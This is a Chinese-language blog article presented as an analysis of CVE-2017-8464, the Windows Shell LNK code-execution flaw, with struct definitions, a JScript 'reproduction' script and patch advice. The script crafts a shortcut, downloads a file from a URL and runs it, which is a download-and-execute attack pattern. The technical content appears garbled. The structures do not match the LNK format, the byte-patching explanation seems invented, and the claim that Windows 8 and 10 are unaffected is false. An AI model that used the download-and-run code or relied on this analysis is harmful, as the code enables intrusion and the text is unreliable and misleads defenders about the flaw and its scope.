一、漏洞概述
CVE-2017-8464是一種在Windows Shell遠程執行代碼的漏洞。攻擊者可以通過文件共享、WebDAV共享、USB、外部存儲等多種方式將惡意的LNK文件注入受害用戶計算機中,當用戶雙擊打開這些惡意的LNK文件時,就會觸發漏洞,攻擊者就可以遠程控制受害者計算機。
漏洞類型:遠程執行代碼漏洞
漏洞等級:嚴重
二、漏洞成因
在Windows Shell中,ShellExecute函數是一個非常重要的函數,它主要是用於啟動一個應用程序、打開指定文件等操作。當用戶雙擊一個Lnk文件時,ShellExecute會被調用來啟動指定程序。而LNK文件中各種屬性的值會通過ShellExecute函數參數傳遞給ShellExecute。惡意LNK文件通過特定的屬性和值來操縱ShellExecute函數進而執行惡意代碼。
三、漏洞分析
LNK文件是Windows文件系統中短切方式的一種,它包含了被鏈接的文件和目標信息。在LNK文件中,一個被稱為「ShellLinkHeader」的結構體保存了多個與LNK文件相關的信息,包括LNK文件大小、文件標識符等等。此外,還有一個名為「LinkInfo」的部分,保存着LNK文件的一些特性,包括其實體路徑、屬性、圖標等,這些信息對ShellExecute函數來說是至關重要的。
typedef struct _GUID {
ULONG Data1;
USHORT Data2;
USHORT Data3;
UCHAR Data4[8];
} GUID;
typedef struct {
GUID LinkCLSID;
ULONG LinkFlags;
ULONG FileAttributes;
FILETIME CreationTime;
FILETIME AccessTime;
FILETIME WriteTime;
ULONG FileSize;
LONG IconIndex;
ULONG ShowCommand;
short HotKey;
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
} ShellLinkHeader;
typedef struct {
ULONG LinkInfoSize;
ULONG LinkInfoHeaderSize;
ULONG LinkInfoFlags;
ULONG VolumeIDOffset;
ULONG LocalBasePathOffset;
ULONG CommonNetworkRelativeLinkOffset;
ULONG CommonPathSuffixOffset;
ULONG LocalBasePathOffsetUnicode;
ULONG CommonPathSuffixOffsetUnicode;
} LinkInfo;
在漏洞的復現過程中,攻擊者通過LNK文件中的值來操縱ShellExecute函數。例如,LinkInfo中保存的本地路徑信息可以通過RemoteName來覆蓋,當ShellExecute函數執行時,會按照RemoteName中指定的路徑來執行,而不是真實路徑。攻擊者利用該漏洞可以操縱ShellExecute函數,從而實現對受害計算機的遠程控制。
四、漏洞復現
需要注意的是,CVE-2017-8464漏洞只存在於Windows 7及其前身的Windows操作系統上,Windows 8和Windows 10並不受影響。
漏洞復現過程如下:
//創建LNK文件,設置LinkInfo信息
var shellApplication = new ActiveXObject("Shell.Application");
var folder = shellApplication.NameSpace(folderPath);
var folderItem = folder.ParseName(fileName);
var link = folderItem.GetLink;
var linkPath = folderPath + "\\" + lnkName;
var shortcut = link.CreateShortcut(linkPath);
shortcut.TargetPath = "calc.exe";
shortcut.Arguments = "";
shortcut.Description = "test shortcut";
shortcut.IconLocation = "calc.exe";
shortcut.Save();
//偽裝LNK文件,RemoteName覆蓋本地路徑信息
var l2 = "\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
var l3 = "\x4e\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x2f\x00";
var fileStream = new ActiveXObject("ADODB.Stream");
fileStream.Type = 2;
fileStream.Open();
fileStream.LoadFromFile(linkPath);
fileStream.Position = 0x4c+4;
fileStream.WriteText(l2, 1);
fileStream.WriteText(l3, 1);
fileStream.SaveToFile(downloadPath, 2);
fileStream.Close();
//下載偽裝的LNK文件
var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
objXMLHTTP.open("GET", downloadUrl, false);
objXMLHTTP.send();
var adoStream = new ActiveXObject("ADODB.Stream");
adoStream.Type = 1;
adoStream.Open();
adoStream.Write(objXMLHTTP.ResponseBody);
adoStream.Position = 0;
adoStream.SaveToFile(downloadPath, 2);
adoStream.Close();
//雙擊偽裝的LNK文件
var objShell = new ActiveXObject("WScript.Shell");
objShell.Run(downloadPath, 1, true);
五、漏洞防範
微軟已經發佈了針對該漏洞的補丁,建議用戶及時升級操作系統,安裝最新的安全補丁。
此外,用戶在使用電腦時,要警惕不明來源文件和URL鏈接,避免雙擊或訪問可能存在安全問題的文件。
六、總結
CVE-2017-8464是一種存在於Windows Shell的遠程執行代碼漏洞,攻擊者可以通過構造LNK文件注入惡意代碼,並遠程控制受害者計算機。儘管漏洞已經有針對應對的安全補丁,但是還是建議用戶在使用電腦時要保持警惕,避免不明來源的文件和URL鏈接帶來的安全風險。
原創文章,作者:ZLLJK,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/316716.html
微信掃一掃
支付寶掃一掃